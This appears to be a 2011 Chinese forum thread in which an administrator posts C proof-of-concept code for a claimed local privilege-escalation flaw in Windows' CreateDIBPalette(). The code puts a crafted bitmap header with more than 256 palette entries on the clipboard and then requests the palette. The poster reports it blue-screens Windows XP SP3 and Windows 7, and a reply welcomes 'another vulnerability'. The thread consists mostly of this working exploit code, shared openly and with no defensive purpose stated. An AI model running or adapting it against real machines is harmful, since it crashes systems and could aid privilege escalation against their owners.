找回密码
 加入我们

QQ登录

只需一步,快速开始

搜索
查看: 4517|回复: 1

CreateDIBPalette()函数本地权限提升漏洞

[复制链接]

857

主题

2632

回帖

2

精华

管理员

此生无悔入华夏,  长居日耳曼尼亚。  

积分
36130
发表于 2011-1-7 23:52:09 | 显示全部楼层 |阅读模式
很久以前某网友在QQ上给我的,不知道现在修复了没有。。。
经我测试,可以在Windows XP SP3和Windows 7 x86/x64 RTM上引发蓝屏。。。

  1. #include <windows.h>
  2. #define CF_DIBV5 17
  3. int main()
  4. {
  5.     DEVMODE dm = {0};
  6.     dm.dmSize = sizeof(DEVMODE);
  7.     dm.dmBitsPerPel = 8;
  8.     dm.dmPelsWidth = 800;
  9.     dm.dmPelsHeight = 600;
  10.     dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
  11.     ChangeDisplaySettings(&dm, 0);
  12.     BITMAPINFOHEADER bmih = {0};
  13.     bmih.biClrUsed = 0x200;//超过256
  14.     HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0x1000);
  15.     memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
  16.     GlobalUnlock(h);
  17.     ::OpenClipboard(NULL);
  18.     ::SetClipboardData(CF_DIBV5, (HANDLE)h);
  19.     ::CloseClipboard();
  20.     ::OpenClipboard(NULL);
  21.     ::GetClipboardData(CF_PALETTE);
  22.     return 0;
  23. }
复制代码
IDE是Code::Blocks 10.05。

5

主题

39

回帖

1

精华

铂金会员

积分
1567
发表于 2011-1-8 11:33:01 | 显示全部楼层
围观又一个漏洞!
您需要登录后才可以回帖 登录 | 加入我们

本版积分规则

快速回复 返回顶部 返回列表